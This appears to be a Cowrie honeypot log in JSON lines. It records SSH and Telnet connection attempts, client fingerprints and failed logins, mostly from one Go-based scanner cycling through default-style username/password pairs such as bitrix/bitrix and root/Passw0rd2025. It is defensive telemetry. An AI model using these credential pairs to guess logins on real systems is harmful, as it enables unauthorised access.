{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:33.278101Z","src_ip":"192.109.200.237","session":"607e7ce0b957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:33.529539Z","src_ip":"192.109.200.237","session":"607e7ce0b957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":34698,"dst_ip":"159.203.135.109","dst_port":23,"session":"812cd4a7080c","protocol":"telnet","message":"New connection: 209.127.178.212:34698 (159.203.135.109:23) [session: 812cd4a7080c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:33.698736Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:34.615463Z","src_ip":"192.109.200.237","session":"607e7ce0b957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35020,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a50f67698e9","protocol":"ssh","message":"New connection: 192.109.200.237:35020 (159.203.135.109:22) [session: 0a50f67698e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:36.527695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:36.533200Z","src_ip":"192.109.200.237","session":"0a50f67698e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:36.616466Z","src_ip":"192.109.200.237","session":"0a50f67698e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:36.865177Z","src_ip":"192.109.200.237","session":"0a50f67698e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:37.951823Z","src_ip":"192.109.200.237","session":"0a50f67698e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":38730,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c58db10a2ae","protocol":"ssh","message":"New connection: 192.169.243.246:38730 (10.17.0.5:22) [session: 6c58db10a2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:38.138327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:38.143300Z","src_ip":"192.169.243.246","session":"6c58db10a2ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:38.221100Z","src_ip":"192.169.243.246","session":"6c58db10a2ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2025","message":"login attempt [root/Passw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:38.544019Z","src_ip":"192.169.243.246","session":"6c58db10a2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.84541082382202,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:38.723401Z","src_ip":"152.42.224.71","session":"93d7e3e0c82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":35052,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba0be9aabf32","protocol":"telnet","message":"New connection: 209.127.178.212:35052 (159.203.135.109:23) [session: ba0be9aabf32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:39.496851Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:39.620034Z","src_ip":"192.169.243.246","session":"6c58db10a2ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35030,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ecd3c5eb284","protocol":"ssh","message":"New connection: 192.109.200.237:35030 (159.203.135.109:22) [session: 2ecd3c5eb284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:39.878962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:39.883615Z","src_ip":"192.109.200.237","session":"2ecd3c5eb284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:39.965851Z","src_ip":"192.109.200.237","session":"2ecd3c5eb284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:40.354212Z","src_ip":"192.109.200.237","session":"2ecd3c5eb284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:41.440312Z","src_ip":"192.109.200.237","session":"2ecd3c5eb284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49944,"dst_ip":"159.203.135.109","dst_port":22,"session":"498d36af49ec","protocol":"ssh","message":"New connection: 192.109.200.237:49944 (159.203.135.109:22) [session: 498d36af49ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:43.369139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:43.376086Z","src_ip":"192.109.200.237","session":"498d36af49ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:43.459512Z","src_ip":"192.109.200.237","session":"498d36af49ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:43.707844Z","src_ip":"192.109.200.237","session":"498d36af49ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:44.795908Z","src_ip":"192.109.200.237","session":"498d36af49ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49950,"dst_ip":"159.203.135.109","dst_port":22,"session":"740a164d78d4","protocol":"ssh","message":"New connection: 192.109.200.237:49950 (159.203.135.109:22) [session: 740a164d78d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:46.706570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:46.711539Z","src_ip":"192.109.200.237","session":"740a164d78d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:46.794428Z","src_ip":"192.109.200.237","session":"740a164d78d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:47.041049Z","src_ip":"192.109.200.237","session":"740a164d78d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:48.126024Z","src_ip":"192.109.200.237","session":"740a164d78d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49960,"dst_ip":"159.203.135.109","dst_port":22,"session":"19f6bae0c142","protocol":"ssh","message":"New connection: 192.109.200.237:49960 (159.203.135.109:22) [session: 19f6bae0c142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:50.007111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:50.010911Z","src_ip":"192.109.200.237","session":"19f6bae0c142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:50.185317Z","src_ip":"192.109.200.237","session":"19f6bae0c142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:50.467057Z","src_ip":"192.109.200.237","session":"19f6bae0c142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:51.553106Z","src_ip":"192.109.200.237","session":"19f6bae0c142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51556,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b6574cd5a3","protocol":"ssh","message":"New connection: 192.109.200.237:51556 (159.203.135.109:22) [session: b0b6574cd5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:53.463992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:53.470242Z","src_ip":"192.109.200.237","session":"b0b6574cd5a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:53.556868Z","src_ip":"192.109.200.237","session":"b0b6574cd5a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:53.804105Z","src_ip":"192.109.200.237","session":"b0b6574cd5a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:54.895760Z","src_ip":"192.109.200.237","session":"b0b6574cd5a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51564,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e25fd9234b4","protocol":"ssh","message":"New connection: 192.109.200.237:51564 (159.203.135.109:22) [session: 3e25fd9234b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:56.807877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:56.813159Z","src_ip":"192.109.200.237","session":"3e25fd9234b4","protocol":"ssh"}
